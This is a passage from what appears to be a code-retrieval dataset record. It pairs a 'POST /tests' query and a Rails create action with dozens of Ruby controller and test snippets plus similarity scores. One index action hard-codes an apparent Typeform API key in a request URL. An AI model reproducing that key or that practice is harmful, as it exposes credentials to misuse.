"def show\n @test = LoadTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test }\n end\n end",
"def show\n render status: :ok, json: @test\n end",
"def show\n render json: @test\n end",
"def show\n @test_run = TestRun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_run }\n end\n end",
"def show\n @tester = Tester.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tester }\n end\n end",
"def show\n @testcase = Testcase.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @testcase }\n end\n end",
"def show\n @test_suite = TestSuite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_suite }\n end\n end",
"def index\n json = HTTParty.get(\"https://api.typeform.com/v1/form/WaIffL?key=f486f2db8f1249c077a08b582bc3efe0a2617668\").body\n\n @jsontests = JSON.parse(json)\n\n end",
"def show\n @test_result = TestResult.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_result }\n end\n end",
"def show\n @testis = Teste.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @testis }\n end\n end",
"def show\n @test10 = Test10.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test10 }\n end\n end",
"def show\n @test_summary = TestSummary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_summary }\n end\n end",
"def get_api_results(_url)\n JSON.parse File.read('spec/inspector/stubbed_example.json')\n end",
"def index\n @testers = Tester.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @testers }\n end\n end",
"def index\n @testmonials = Testmonial.all\n\n render json: @testmonials\n end",
"def test\n render json: { message: 'Hello World' }\n end",
"def test_show\n get '/category/1'\n end",
"def index\n\n @dtests = Dtest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @dtests }\n end\n end",
"def show\n @test_page = TestPage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_page }\n end\n end",
"def test_show_posts_user\n expected = 200\n user_id = 34\n response = Net::HTTP.get(URI.parse('http://localhost:3000/v1/users/'+user_id+'/posts'))\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def show\n @team_test = TeamTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team_test }\n end\n end",
"def test_show_success\n get \"api/v1/birds/#{@bird.id.to_s}\"\n assert_equal true, json.present?\n assert_equal \"blue\", json[\"title\"]\n assert_equal \"String\", json[\"type\"]\n assert_equal \"testing description\", json[\"description\"]\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def index\n @tests = Test.all\n end",
"def show\n @testdb = Testdb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @testdb }\n end\n end",
"def test\n Srchio::Response.new(self.class.get(\"/test\"))\n end",
"def test_function_get_all_posts_successfully\n expected = 200\n response = Net::HTTP.get(URI.parse('http://localhost:3000/v1/posts'))\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def index\n render status: :ok, json: @test_guide_scenarios\n end",
"def show\n @tktest = Tktest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tktest }\n end\n end",
"def index\n @software_tests = SoftwareTest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @software_tests }\n end\n end",
"def index\n permitted_to! :inspect, Problem.find(params[:problem_id])\n @test_sets = TestSet.where(:problem_id => params[:problem_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @test_sets }\n end\n end",
"def show\n @section_test = SectionTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @section_test }\n end\n end",
"def test_home\n get '/'\n assert last_response.ok?\n data = JSON.parse(last_response.body)\n assert data.count > 0\n end",
"def test_get_index\n get :index\n assert_response :success\n end",
"def test_story_create\n # skip\n story = Story.create(name: \"rando story name\")\n response = get \"/storyname\"\n json = JSON.parse(response.body)\n assert_equal story.name, json.last[\"name\"]\n # binding.pry\n end",
"def index\n render json: @test_module.test_questions, status: :ok\n end",
"def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n puts JSON.pretty_generate(result)\n result\nend",
"def index\n @test_runs = TestRun.accessible_by(current_ability).order(\"updated_at DESC\").page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @test_runs }\n end\n end",
"def test\n get(\"/help/test\")\n end",
"def test_index \n get :index \n assert_response :success \n end",
"def show\n @test_post = TestPost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_post }\n end\n end",
"def test_index\n get :index\n assert_response :success\n end",
"def test_index\n get :index\n assert_response :success\n end",
"def show\n @usertest = Usertest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @usertest }\n end\n end",
"def fetch_experiment(id)\n url = @base + \"experiments/#{id}.json?token=#{@token}\"\n puts url\n response = JSON.parse(RestClient.get(url))\nend",
"def index\n @testtests = Testtest.all\n end",
"def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend",
"def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend",
"def show\n @test_class = TestClass.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_class }\n end\n end",
"def show\n @software_test = SoftwareTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @software_test }\n end\n end",
"def test_post_then_get\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n id = last_response.body\n\n get \"/traces/#{id}\"\n check_valid_trace last_response.body\n end",
"def show\n @student_test = StudentTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_test }\n end\n end",
"def index\r\n render json: { status: \"Test API\"}\r\n end",
"def show\n @test_file = TestFile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_file }\n end\n end",
"def show\n render json: @testmonial\n end",
"def show\n @test = Test.find(params[:id])\n end",
"def test_should_be_json_response\n get '/mock/example'\n assert_equal last_response.content_type, \"application/json\"\n end",
"def index\n @test1s = Test1.all\n end",
"def index\n\t@instruction = Instruction.find( params[ :instruction_id ] )\n @testimonies = @instruction.testimonies.page( params[ :page ] ).per(20)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @testimonies }\n end\n end",
"def search\n results = @test.search(test_params)\n return render json: {results: results, total: results.total_entries}\n end",
"def show\n @test_run = TestRun.accessible_by(current_ability).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_run }\n end\n end",
"def new\n @test = LoadTest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test }\n end\n end",
"def new\n @test_run = TestRun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test_run }\n end\n end",
"def info(test_id, options={})\n args = {testId: test_id}.merge(options)\n get('testinfo', args)\n end",
"def test_index\n assert_response 200\n end",
"def get_json(path)\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n #puts \"🤖 GET #{path}\"\n #puts \"HTTP #{response.code}\"\n #puts JSON.pretty_generate(result)\n result\nend",
"def tests\n @tests ||= load_json(test_plan_path)&.fetch(:tests) if test_plan_path\n end",
"def tests(run_id)\n get(\"get_tests/#{run_id}\")\n end",
"def new\n @tester = Tester.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tester }\n end\n end",
"def new\n @tester = Tester.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tester }\n end\n end",
"def investigate\n puts \"\\nRequesting JSON from #{url} and testing\"\n tests.each_pair do |test, block|\n print \" - #{test}\\n\"\n check test, block\n end\n summary\n exit_status\n end",
"def unitTests\n\t\trender(json: {nrFailed: 0, output: \"return some output\", totalTests: 15})\n\tend",
"def test!\n @@api.post(endpoint: self.endpoint + ['test'])\n end",
"def index\n @tests = @subject.tests.all\n end",
"def test_show\n get :show,\n :id => posts(:by_quentin).id\n assert_response :success\n end",
"def index\n @tests = TkdTest.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tests }\n end\n end",
"def show\n @smoke_test = SmokeTest.find(params[:id], :include => SMOKE_TESTS_OBJ_INCLUDES)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @smoke_test } #formated via as_json\n format.xml { render :xml => @smoke_test, :include => SMOKE_TESTS_OBJ_INCLUDES }\n end\n end",
"def show\n @dtest = Dtest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dtest }\n end\n end",
"def index\n @api_v1_exercises = Api::V1::Exercise.all\n end",
"def index\n @contests = Contest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contests }\n end\n end",
"def test_read_all_info\n get '/v1/read_all?data=eyJOYW1lIjogIkVkdWFyZG8iLCAiQ291bnRyeSI6ICJCcmF6aWwiIH0%3D'\n assert last_response.ok?\n assert last_response.body.include?('Eduardo')\n assert last_response.body.include?('Brazil')\n end",
"def index\n @testurls = Testurl.all\n end",
"def show\n @fixture = Fixture.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @fixture }\n end\n end",
"def tests\n CircleCi.request(conf, \"#{base_path}/#{build}/tests\").get\n end",
"def get_all_synthetics_tests\n request(Net::HTTP::Get, \"/api/#{API_VERSION}/synthetics/tests\", nil, nil, false)\n end",
"def show\n @test_board = TestBoard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test_board }\n end\n end"
] | [
"0.7404314",
"0.7404314",
"0.7304388",
"0.7279787",
"0.7125164",
"0.6878569",
"0.6878569",
"0.6849366",
"0.67718923",
"0.6757094",
"0.6669219",
"0.6624378",
"0.66209686",
"0.66169363",
"0.6546323",
"0.64791626",
"0.64788824",
"0.6474367",
"0.6439662",
"0.643125",
"0.6427616",
"0.6401213",
"0.633413",
"0.63120824",
"0.62851495",
"0.62592643",
"0.62532175",
"0.6248113",
"0.62467533",
"0.62434715",
"0.622782",
"0.6217138",
"0.6217138",
"0.6217138",
"0.6217138",
"0.6217138",
"0.6217138",
"0.6217138",
"0.6217138",
"0.621136",
"0.61916435",
"0.61878926",
"0.6169257",
"0.6167943",
"0.61500216",
"0.61484396",
"0.6137096",
"0.6134135",
"0.6130134",
"0.6120788",
"0.6117335",
"0.61146426",
"0.6079525",
"0.60789186",
"0.6076916",
"0.6075127",
"0.60590214",
"0.60590214",
"0.60537297",
"0.6049449",
"0.6035238",
"0.6033081",
"0.6033081",
"0.6022075",
"0.6007564",
"0.600318",
"0.5994812",
"0.5975518",
"0.5968944",
"0.5963515",
"0.5947054",
"0.5940372",
"0.593668",
"0.5929868",
"0.5927434",
"0.5918147",
"0.5913966",
"0.59119993",
"0.59092385",
"0.5903438",
"0.59012794",
"0.59010243",
"0.58957446",
"0.5878725",
"0.5878725",
"0.5870428",
"0.5868258",
"0.5866501",
"0.5864534",
"0.5855766",
"0.58484656",
"0.5847873",
"0.58411556",
"0.58391994",
"0.5833283",
"0.5829145",
"0.58286166",
"0.58273494",
"0.582481",
"0.58073187",
"0.58034146"
] | 0.0 | -1 |
POST /tests POST /tests.json | def create
@test = Test.new(test_params)
respond_to do |format|
if @test.save
format.html { redirect_to @test, notice: 'Test was successfully created.' }
format.json { render :show, status: :created, location: @test }
else
format.html { render :new }
format.json { render json: @test.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def v2_tests_post(test_detail, opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: TestsApi#v2_tests_post ...\"\n end\n \n # verify the required parameter 'test_detail' is set\n fail \"Missing the required parameter 'test_detail' when calling v2_tests_post\" if test_detail.nil?\n \n # resource path\n path = \"/v2/tests\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json', 'text/json', 'application/xml', 'text/xml']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json', 'text/json', 'application/xml', 'text/xml', 'application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(test_detail)\n \n\n auth_names = []\n result = @api_client.call_api(:POST, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TestSummary')\n if Configuration.debugging\n Configuration.logger.debug \"API called: TestsApi#v2_tests_post. Result: #{result.inspect}\"\n end\n return result\n end",
"def create\n @test = Test.create!(test_params)\n\n render json: @test\n end",
"def test!\n @@api.post(endpoint: self.endpoint + ['test'])\n end",
"def test_post_success_with_param\n post \"/\", {:data => @test_obj} do |response|\n assert response.ok?, \"Create test object failed\"\n assert_equal response.body, @test_obj.to_json, \"Did not get @test_obj back\"\n end\n end",
"def test_post_sample_traces\n header 'Content-Type', 'application/json'\n\n (0..4).each do |i|\n data = File.read \"sample-traces/#{i}.json\"\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n assert last_response.ok?\n end\n end",
"def test_should_create_post_via_API_JSON\r\n get \"/logout\"\r\n post \"/forum_posts.json\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n topic = JSON.parse(response.body)\r\n assert topic['title'] == 'API Test Post', 'Incorrect topic title'\r\n assert topic['user_id'] == 1, 'Incorrect user id'\r\n assert topic['body'] == 'Test Post desc', 'Incorrect topic description' \r\n end",
"def index\n render status: :ok, json: @tests\n end",
"def create\n @test = Test.new(params[:test])\n\n respond_to do |format|\n if @test.save\n format.html { redirect_to @test, notice: 'Test was successfully created.' }\n format.json { render json: @test, status: :created, location: @test }\n else\n format.html { render action: \"new\" }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_index \n post :index \n assert_response :success \n end",
"def create\n @testtest = Testtest.new(testtest_params)\n\n respond_to do |format|\n if @testtest.save\n format.html { redirect_to @testtest, notice: 'Testtest was successfully created.' }\n format.json { render :show, status: :created, location: @testtest }\n else\n format.html { render :new }\n format.json { render json: @testtest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test = current_user.tests.build(test_params)\n\n respond_to do |format|\n if @test.save\n format.html { redirect_to thank_you_path, notice: 'Test was successfully created.' }\n format.json { render :show, status: :created, location: @test }\n else\n format.html { render :new }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n result = Test.new.create_test(test_params)\n if result\n return render json: {message: 'Test was created succesfully', error: false }\n else\n return render json: {message: 'Error: Test was not created succesfully', error: true }\n end\n end",
"def test_should_create_project_via_API_JSON\r\n get \"/logout\"\r\n post \"/projects.json\", :api_key => 'testapikey',\r\n :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response :created\r\n project = JSON.parse(response.body)\r\n check_new_project(project) \r\n end",
"def test\n render json: { test: 'Tested.' }\n end",
"def test\n render json: { test: 'Tested.' }\n end",
"def create\n @jsontest = Jsontest.new(jsontest_params)\n\n respond_to do |format|\n if @jsontest.save\n format.html { redirect_to @jsontest, notice: 'Jsontest was successfully created.' }\n format.json { render :show, status: :created, location: @jsontest }\n else\n format.html { render :new }\n format.json { render json: @jsontest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @testcase = Testcase.new(params[:testcase])\n\n respond_to do |format|\n if @testcase.save\n format.html { redirect_to @testcase, :notice => 'Test was successfully created.' }\n format.json { render :json => @testcase, :status => :created, :location => @test }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @testcase.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_post_then_get\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n id = last_response.body\n\n get \"/traces/#{id}\"\n check_valid_trace last_response.body\n end",
"def create\n @test = Test.new(test_params)\n\n respond_to do |format|\n if @test.save\n format.html { redirect_to @test, notice: 'Prueba creada exitosamente.' }\n format.json { render :show, status: :created, location: @test }\n else\n format.html { render :new }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_should_create_link_via_API_JSON\r\n get \"/logout\"\r\n post \"/links.json\", :api_key => 'testapikey',\r\n :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response :created\r\n link = JSON.parse(response.body)\r\n check_new_link(link) \r\n end",
"def create\n @test_post = TestPost.new(test_post_params)\n\n respond_to do |format|\n if @test_post.save\n format.html { redirect_to @test_post, notice: 'Test post was successfully created.' }\n format.json { render :show, status: :created, location: @test_post }\n else\n format.html { render :new }\n format.json { render json: @test_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_should_create_invite_via_API_JSON\r\n get \"/logout\"\r\n post \"/invites.json\", :api_key => 'testapikey',\r\n :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => '[email protected]',\r\n :user_id => 1 }\r\n assert_response :created\r\n invite = JSON.parse(response.body)\r\n check_new_invite(invite) \r\n end",
"def create\n @test_post = TestPost.new(params[:test_post])\n\n respond_to do |format|\n if @test_post.save\n format.html { redirect_to @test_post, notice: 'Test post was successfully created.' }\n format.json { render json: @test_post, status: :created, location: @test_post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @test_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_test = UserTest.new(user_test_params)\n\n respond_to do |format|\n if @user_test.save\n format.html { redirect_to admin_user_tests_path, notice: 'User test was successfully created.' }\n format.json { render :show, status: :created, location: @user_test }\n else\n format.html { render :new }\n format.json { render json: @user_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_story_create\n # skip\n story = Story.create(name: \"rando story name\")\n response = get \"/storyname\"\n json = JSON.parse(response.body)\n assert_equal story.name, json.last[\"name\"]\n # binding.pry\n end",
"def test_the_application_can_create_an_item\n # Send a POST request to '/items' endpoint that creates a new item\n # with a title of 'Learn to test controllers' and a description 'This is great'\n # Assert that the controller responds with a status of 200\n # Assert that the controller responds with a body of 'Item created'\n # Assert that the ToDo table has an item in it\n end",
"def create\n @test_detail = TestDetail.new(test_detail_params)\n\n respond_to do |format|\n if @test_detail.save\n format.html { redirect_to @test_detail, notice: 'Test detail was successfully created.' }\n format.json { render :show, status: :created, location: @test_detail }\n else\n format.html { render :new }\n format.json { render json: @test_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @testmonial = Testmonial.new(testmonial_params)\n\n if @testmonial.save\n render json: @testmonial, status: :created\n else\n render json: @testmonial.errors, status: :unprocessable_entity\n end\n end",
"def create_post(params)\n mock_request = Rack::MockRequest.new(APP)\n mock_request.post(new_post_endpoint, { 'router.params' => params, format: :json })\n end",
"def test_create_a_task_with_valid_attributes\n post '/tasks', { task: { title: \"something\", description: \"else\", user_id: 1 } } # post '/tasks', { task: { title: \"something\", description: \"else\", user_id: 1, status_id: 1 } }\n assert_equal 1, Task.count # count is a method that ActiveRecord gives us\n assert_equal 200, last_response.status\n assert_equal \"created!\", last_response.body\n end",
"def index\n json = HTTParty.get(\"https://api.typeform.com/v1/form/WaIffL?key=f486f2db8f1249c077a08b582bc3efe0a2617668\").body\n\n @jsontests = JSON.parse(json)\n\n end",
"def create\n @testis = Teste.new(params[:testis])\n\n respond_to do |format|\n if @testis.save\n format.html { redirect_to @testis, notice: 'Teste was successfully created.' }\n format.json { render json: @testis, status: :created, location: @testis }\n else\n format.html { render action: \"new\" }\n format.json { render json: @testis.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post\n Typhoeus.post(@url,\n body: @results_hash.to_json,\n headers: { 'Content-Type' => 'application/json' })\n end",
"def test_create_transaction\n params = {\n bank_transaction: {\n bank_account_id: 1,\n date: Time.local(2012, 4, 16),\n amount: 55\n }\n }\n\n post '/api/banks/1/transactions', params\n data = ActiveSupport::JSON.decode last_response.body\n\n assert last_response.successful?\n assert_match('application/json', last_response.content_type)\n assert BankTransaction.find(data['id'])\n end",
"def test\n get(\"/help/test.json\")\n end",
"def test\n get(\"/help/test.json\")\n end",
"def create\n @smoke_test = SmokeTest.new(params[:smoke_test])\n\n respond_to do |format|\n if @smoke_test.save\n format.html { redirect_to(@smoke_test, :notice => 'Smoke test was successfully created.') }\n format.json { render :json => @smoke_test, :status => :created, :location => @smoke_test }\n format.xml { render :xml => @smoke_test, :status => :created, :location => @smoke_test }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @smoke_test.errors, :status => :unprocessable_entity }\n format.xml { render :xml => @smoke_test.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @runtest = Runtest.new(runtest_params)\n\n respond_to do |format|\n if @runtest.save\n format.html { redirect_to @runtest, notice: 'Runtest was successfully created.' }\n format.json { render :show, status: :created, location: @runtest }\n else\n format.html { render :new }\n format.json { render json: @runtest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @testing_ = Testing.new(testing__params)\n\n respond_to do |format|\n if @testing_.save\n format.html { redirect_to @testing_, notice: 'Testing was successfully created.' }\n format.json { render action: 'show', status: :created, location: @testing_ }\n else\n format.html { render action: 'new' }\n format.json { render json: @testing_.errors, status: :unprocessable_entity }\n end\n end\n end",
"def run_test\n # Make sure that params have been set\n raise_error('You need to pass some params to run the test. At least, an url or script') unless block_given?\n params = Hashie::Mash.new\n yield params\n raise_error('No params were passed to run_test method') if params.empty?\n\n response = connection.post do |req|\n req.url \"#{TEST_BASE}\"\n req.params['k'] = key\n req.params['f'] = @params.f\n params.each do |k, v|\n req.params[k] = v\n end\n end\n return not_available (response) unless response.status == 200\n @response = Response.new(self, Hashie::Mash.new(JSON.parse(response.body)))\n end",
"def create\n @tktest = Tktest.new(params[:tktest])\n\n respond_to do |format|\n if @tktest.save\n format.html { redirect_to @tktest, notice: 'Tktest was successfully created.' }\n format.json { render json: @tktest, status: :created, location: @tktest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tktest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application_test = ApplicationTest.new(application_test_params)\n\n respond_to do |format|\n if @application_test.save\n format.html { redirect_to @application_test, notice: 'Application test was successfully created.' }\n format.json { render :show, status: :created, location: @application_test }\n else\n format.html { render :new }\n format.json { render json: @application_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @testing = Testing.new(testing_params)\n\n respond_to do |format|\n if @testing.save\n format.html { redirect_to @testing, notice: 'Testing was successfully created.' }\n format.json { render :show, status: :created, location: @testing }\n else\n format.html { render :new }\n format.json { render json: @testing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_suite = TestSuite.new(params[:test_suite])\n\n respond_to do |format|\n if @test_suite.save\n format.html { redirect_to @test_suite, notice: 'Test suite was successfully created.' }\n format.json { render json: @test_suite, status: :created, location: @test_suite }\n else\n format.html { render action: \"new\" }\n format.json { render json: @test_suite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @tests = Test.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tests }\n end\n end",
"def create\n @test10 = Test10.new(params[:test10])\n\n respond_to do |format|\n if @test10.save\n format.html { redirect_to @test10, notice: 'Test10 was successfully created.' }\n format.json { render json: @test10, status: :created, location: @test10 }\n else\n format.html { render action: \"new\" }\n format.json { render json: @test10.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_params\n params.require(:test).permit(:index, :new, :create, :show, :update, :delete)\n end",
"def create\n tp = test_params.merge!(plate_id: params[:plate_id])\n @test = Test.new(tp)\n authorize Test\n respond_to do |format|\n if @test.save\n @test.plate.complete!\n @test.auto_retest!\n format.html { redirect_to plate_url(@test.plate), notice: 'Test was successfully created.'}\n format.json { render :show, status: :created, location: test }\n else\n format.html { render :new, status: :unprocessable_entity}\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @type_test = TypeTest.new(type_test_params)\n\n respond_to do |format|\n if @type_test.save\n format.html { redirect_to @type_test, notice: 'Type test was successfully created.' }\n format.json { render :show, status: :created, location: @type_test }\n else\n format.html { render :new }\n format.json { render json: @type_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_suite = TestSuite.new(test_suite_params)\n\n respond_to do |format|\n if @test_suite.save\n format.html { redirect_to @test_suite, notice: 'Test suite was successfully created.' }\n format.json { render :show, status: :created, location: @test_suite }\n else\n format.html { render :new }\n format.json { render json: @test_suite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fixit_test = FixitTest.new(fixit_test_params)\n\n respond_to do |format|\n if @fixit_test.save\n format.html { redirect_to @fixit_test, notice: 'Fixit test was successfully created.' }\n format.json { render action: 'show', status: :created, location: @fixit_test }\n else\n format.html { render action: 'new' }\n format.json { render json: @fixit_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_test = TestTest.new(params[:test_test])\n\n respond_to do |format|\n if @test_test.save\n format.html { redirect_to(@test_test, :notice => 'TestTest was successfully created.') }\n format.xml { render :xml => @test_test, :status => :created, :location => @test_test }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @test_test.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @test_run = TestRun.new(params[:test_run])\n\n respond_to do |format|\n if @test_run.save\n format.html { redirect_to @test_run, notice: 'Test run was successfully created.' }\n format.json { render json: @test_run, status: :created, location: @test_run }\n else\n format.html { render action: \"new\" }\n format.json { render json: @test_run.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_datum = TestDatum.new(test_datum_params)\n\n respond_to do |format|\n if @test_datum.save\n format.html { redirect_to @test_datum, notice: 'Test datum was successfully created.' }\n format.json { render :show, status: :created, location: @test_datum }\n else\n format.html { render :new }\n format.json { render json: @test_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_params\n params.require(:test).permit(:description, :expected_result, :test_link)\n end",
"def test_params\n params.require(:test).permit(:name, :test_type_id, :schedule, :duration, :is_online, :no_of_items, :subject_class_id)\n end",
"def test_params\n params.require(:test).permit(:indentifier, :description, :time)\n end",
"def create\n @what_test = WhatTest.new(what_test_params)\n\n respond_to do |format|\n if @what_test.save\n format.html { redirect_to @what_test, notice: 'What test was successfully created.' }\n format.json { render :show, status: :created, location: @what_test }\n else\n format.html { render :new }\n format.json { render json: @what_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_app = TestApp.new(test_app_params)\n\n respond_to do |format|\n if @test_app.save\n format.html { redirect_to @test_app, notice: 'Test app was successfully created.' }\n format.json { render :show, status: :created, location: @test_app }\n else\n format.html { render :new }\n format.json { render json: @test_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @applicant_test = @applicant.applicant_tests.new(applicant_test_params)\n\n respond_to do |format|\n if @applicant_test.save\n format.html { redirect_to applicant_url(@applicant), notice: \"Test Agregado Correctamente.\" }\n format.json { render :show, status: :created, location: applicant_url(@applicant) }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @applicant_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def run_tests\n test_suite = self.task.tests.order(:order)\n testsStrings = test_suite.map do |test|\n test_string = task.fxn_name + \"(\"\n test_string + \"...\"+test.parsed_inputs.to_s + \")\"\n end\n formated_user_code = self.solution.gsub(\"\\n\", \" \")\n data = JSON.dump({user_code: formated_user_code, tests: testsStrings})\n uri = URI.parse(\"https://wci7v1nq8j.execute-api.us-west-2.amazonaws.com/v1\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(uri.request_uri)\n request.body = data\n response = http.request(request)\n response = JSON.parse(response.body)\n if response[\"errorMessage\"]\n message = response[\"errorMessage\"]\n if message.include?(\"timed out\")\n message = \"Task timed out after 4.00 seconds\"\n end\n return {error: true, error_message: message }\n end\n user_results = response[\"results\"]\n test_results = {log: response[\"log\"].gsub(\"\\n\", \"<br/>\"), results: {} }\n test_suite.each_with_index do |test, idx|\n result = user_results[idx]\n passed = result == test.output\n test_result = {\n passed: passed,\n expected: test.output.to_s,\n received: result.to_s\n }\n test_results[:results][test.order] = test_result\n end\n handle_completion(test_results[:results])\n test_results\n end",
"def create\n @test = Mg::Test.new(params[:test])\n\n if @test.save\n flash[:notice] = 'Test was successfully created.'\n redirect_to mg_test_url :id => @test.id\n else\n render :action => \"new\"\n end\n end",
